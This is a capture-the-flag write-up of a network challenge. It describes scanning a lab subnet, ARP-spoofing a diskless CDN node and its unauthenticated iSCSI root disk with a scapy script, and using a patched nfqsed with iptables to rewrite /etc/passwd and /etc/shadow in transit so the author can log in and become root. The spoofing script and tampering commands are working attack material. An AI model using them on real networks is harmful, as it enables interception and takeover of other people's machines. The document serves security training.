Tags: spoofing iscsi arp network 

Rating:

We have shell on a linux host. Since it's network task, let's start with some network exploration:

```
% sshpass -p qwerty ssh [email protected]
Your team token > fJGJUx4gVhTZ9h9qXrHp-Q
Welcome, Team # 404
Setting up your environment (20 sec without heavy load)....

root@PWNED:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.193.148.3 netmask 255.255.255.0 broadcast 10.193.148.255
ether 02:42:0a:c1:94:03 txqueuelen 0 (Ethernet)
RX packets 8 bytes 656 (656.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

<snip>

root@PWNED:~# nmap -sS -v -A -p- 10.193.148.1-255
<snip>

Nmap scan report for 10.193.148.2
Host is up (0.00028s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 07:48:13:a2:8c:dd:a9:1b:85:01:f6:4c:fb:10:c2:75 (RSA)
| 256 85:ae:44:92:44:98:1a:63:4e:d9:06:13:fe:cf:84:6b (ECDSA)
|_ 256 79:0b:80:a9:31:d5:75:fc:c1:c5:3d:ca:a6:a0:c3:d4 (ED25519)
80/tcp open http nginx 1.10.3
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.10.3
|_http-title: Index of /
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)
<snip>

Nmap scan report for nf_tgt_404.net_404 (10.193.148.200)
Host is up (-0.00034s latency).

PORT STATE SERVICE VERSION
3260/tcp open iscsi?
| iscsi-info:
| iqn.net.fleeks.cdn:cdn.node.root:
| Address: 10.193.148.200:3260,1
|_ Authentication: NOT required
MAC Address: 02:42:0A:C1:94:C8 (Unknown)
```

Looks like there is two interesting hosts in the network: `10.193.148.2` that is accessible by SSH and HTTP, and `10.193.148.200` that provodes only iSCSI target (server). Since we don't have kernel modules on given host to set up iSCSI initiator (client) and nor login information, we should probably start with exploring HTTP on first host:

```
root@PWNED:~# curl 10.193.148.2
<html>
<head><title>Index of /</title></head>
<body bgcolor="white">
<h1>Index of /</h1><hr>

../
ED-CM-5.1-DVD-C.ogg 04-Jul-2008 06:27 4635596
ED-CM-5.1-DVD-L.ogg 04-Jul-2008 06:39 5230715
ED-CM-5.1-DVD-LFE.ogg 04-Jul-2008 06:35 473422
ED-CM-5.1-DVD-LS.ogg 04-Jul-2008 06:31 4014251
ED-CM-5.1-DVD-R.ogg 04-Jul-2008 06:13 5261503
ED-CM-5.1-DVD-RS.ogg 04-Jul-2008 06:25 3995270
ED-CM-St-16bit.ogg 04-Jul-2008 06:18 8432933
Monkaa.mp4 05-Mar-2017 09:36 159358627
Monkaa.ogv 05-Mar-2017 09:52 28708420
README.txt 19-Jul-2020 23:42 568
big_buck_bunny_720_stereo.mp4 10-Nov-2014 12:26 61825618
big_buck_bunny_720_stereo.ogv 10-Nov-2014 12:44 47249764
ed_1024.ogv 24-Nov-2008 04:50 45617852
ed_hd.mp4 03-Nov-2014 00:43 67801890
<hr></body>
</html>
root@PWNED:~# curl 10.193.148.2/README.txt

__ __ _____ __ _ _
/\ \ \/__\/__ \ / _| | ___ ___| | _____
/ \/ /_\ / /\/ | |_| |/ _ \/ _ \ |/ / __|
/ /\ //__ / / | _| | __/ __/ <\__ \
\_\ \/\__/ \/ |_| |_|\___|\___|_|\_\___/

Welcome to NET fleeks CDN!

This is a standard NET fleeks CDN node.

* 128 MB RAM
* x64 architecture
* Diskless
* Has flag on it, since no-one can get root on this secure machine
* For inquiries on selling us small servers call 1-800-FLEEKHW

Enjoy the movies!
```

Key points here:
* The flag is on this node
* It presumably has no persistent storage
* The machine has not that much RAM (that would become important a bit later)

So, we need to get shell (likely, root) access to that machine. Since that node do not have disks, it probably uses iSCSI as root disk, containing rootfs. We don't know its iSCSI `iqn` name, so we can't simply mount iSCSI disk and read data from there (this iSCSI server does not have authentication or encryption, but it checks peer node name).

Instead, we could act smarter. We're on the same L2 network with these hosts, so we could perform an ARP spoofing attack to route all traffic between them, so we could intercept and tamper with the flowing data. _Fortunately_, we do have raw access to network interface, iptables and IPv4 forwarding is enabled.

Alrighty, let's get down to business.
```
root@PWNED:~# arp -a
? (10.193.148.2) at 52:54:00:12:34:56 [ether] on eth0
? (10.193.148.1) at 02:42:97:6f:e3:26 [ether] on eth0
nf_tgt_404.net_404 (10.193.148.200) at 02:42:0a:c1:94:c8 [ether] on eth0

root@PWNED:~# apt install python-scapy

root@PWNED:~# cat > 1.py
from scapy.all import *
target = '10.193.148.2'
target_mac = '52:54:00:12:34:56'
target2 = '10.193.148.200'
target2_mac = '02:42:0a:c1:94:c8'

arp=ARP(op=1,psrc=target2,pdst=target,hwdst=target_mac)
arp2=ARP(op=1,psrc=target,pdst=target2,hwdst=target2_mac)
while 1:
send(arp)
send(arp2)

root@PWNED:~# python 1.py
Sent 1 packets.
.
Sent 1 packets.
.
<snip>
```

Cool, now all traffic between these hosts is running through us. We could poke around the first host (try to login over ssh, download some files via HTTP) and look at traffic in tcpdump. There would be many data flowing. As we could see, there is no password hashes in /etc/{passwd,shadow}.

There is several further approaches here. I think the simplest one would be to modify `/etc/passwd` and `/etc/shadow` to include password for `root` and some other (say, `www-data`) users (as it would turn out, login for root is disabled, and that is simply circumvented by logging in as other user).
"_These files are small and will be cached in Linux page cache_", you would say. Yes, _but_ there is several large enough files accessible over HTTP and the RAM size on that machine is small enough. _Coincidence_.

So, the attack plan looks like that:
* Set up packet modification
* Evict page cache by downloading large files
* Try to log in as `www-data` over SSH
* Escalate privileges via `su`

Packet modification could be performed using nfqueue and some tool utilizing this interface. For example, there is [nfqsed](https://github.com/rgerganov/nfqsed). I modified it a little to allow specifying newlines in replace rules:

```
root@PWNED:~# apt install build-essential git libnetfilter-queue-dev
<snip>
root@PWNED:~# git clone https://github.com/rgerganov/nfqsed
Cloning into 'nfqsed'...
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 38 (delta 0), reused 0 (delta 0), pack-reused 37
Unpacking objects: 100% (38/38), done.
root@PWNED:~# cd nfqsed/
<patch manually>
root@PWNED:~/nfqsed# git diff -U0
diff --git a/nfqsed.c b/nfqsed.c
index fffa0ee..c832c74 100644
--- a/nfqsed.c
+++ b/nfqsed.c
@@ -105 +105 @@ void print_rule(const struct rule_t *rule)
-void add_rule(const char *rule_str)
+void add_rule(char *rule_str)
@@ -124,0 +125,4 @@ void add_rule(const char *rule_str)
+ for (int i = 0; i < length; ++i) {
+ if (rule_str[i+1] == '%') rule_str[i+1] = '\n';
+ if (rule_str[i+2+length] == '%') rule_str[i+2+length] = '\n';
+ }

root@PWNED:~/nfqsed# make
gcc -Wall -c nfqsed.c
gcc nfqsed.o -o nfqsed -lnetfilter_queue
```

Now, we'll start modifying traffic (before adding actual iptables rule, since otherwise that could ruin existing TCP connection and effectively send first host offline, there is no reconnects, for some reason).
Here, we're changing hashes for `root` and `www-data` to 123 (`echo '123' | openssl passwd -1 -stdin`), and changing shell for `www-data` to `/bin/bash`. Note that we need to preserve packet lengths to not break streams, so we'll erase some other accounts by replacing them with newlines:

```
root@PWNED:~# ./nfqsed -v \
-s '|root:x:0:0:root:/root:/bin/bash%daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin|root:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:0:0:root:/root:/bin/bash%%%%%%%%%%%%%%%' \
-s '|root:*:18465:0:99999:7:::%daemon:*:18465:0:99999:7:::%bin:*:18465:0:99999:7:::|root:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:18465:0:99999:7:::%%%%%%%%%%%%%%%%%%%%' \
-s '|www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin%backup:x:34:34:backup:/var/backups:/usr/sbin/nologin|www-data:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:33:33:www-data:/var/www:/bin/bash%%%%%%%%%%%%%%%%%%%%%%%%%%%%' \
-s '|www-data:*:18465:0:99999:7:::%backup:*:18465:0:99999:7:::%list:*:18465:0:99999:7:::|www-data:$1$p/lZGfRu$DmRu2K3X3nHwS6DpSA7z5.:18465:0:99999:7:::%%%%%%%%%%%%%%%%%%%%%'
```

Next, let's evict page cache:
```
root@PWNED:~/nfqsed# curl 10.193.148.2/big_buck_bunny_720_stereo.mp4 > /dev/null; curl 10.193.148.2/ed_hd.mp4 > /dev/null; curl 10.193.148.2/Monkaa.mp4 > /dev/null
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 58.9M 100 58.9M 0 0 53.4M 0 0:00:01 0:00:01 --:--:-- 53.4M
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 64.6M 100 64.6M 0 0 52.8M 0 0:00:01 0:00:01 --:--:-- 52.8M
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 151M 100 151M 0 0 51.7M 0 0:00:02 0:00:02 --:--:-- 51.7M
```

And finally, we'll start tampering packets by sending them to the nfqueue:

`root@PWNED:~# iptables -A FORWARD -s 10.193.148.200 -d 10.193.148.2 -m string --algo bm --string ":/" -j QUEUE`

Note the string filter. This prevents nfqsed from crashing. For some reason, it can't process large amounts of data simultaneously.

And, if everything goes well, we could log in as `www-data` with password `123` and escalate the privileges:
```
root@PWNED:~# ssh [email protected]
The authenticity of host '10.193.148.2 (10.193.148.2)' can't be established.
ECDSA key fingerprint is SHA256:Tcnbd71C0mrpc1mkZKDApyQyueMCO6YZEcLE/GyKxOo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.193.148.2' (ECDSA) to the list of known hosts.
[email protected]'s password:
Linux fleekscdn 4.9.0-13-amd64 #1 SMP Debian 4.9.228-1 (2020-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
www-data@fleekscdn:~$ su
Password:
root@fleekscdn:/var/www# cd
root@fleekscdn:~# ls
Waving_Flag.mp4
```

Here is the video: [Waving_Flag.mp4](https://files.catbox.moe/2iczer.mp4).

![](https://imgur.com/CTiWcMv.png)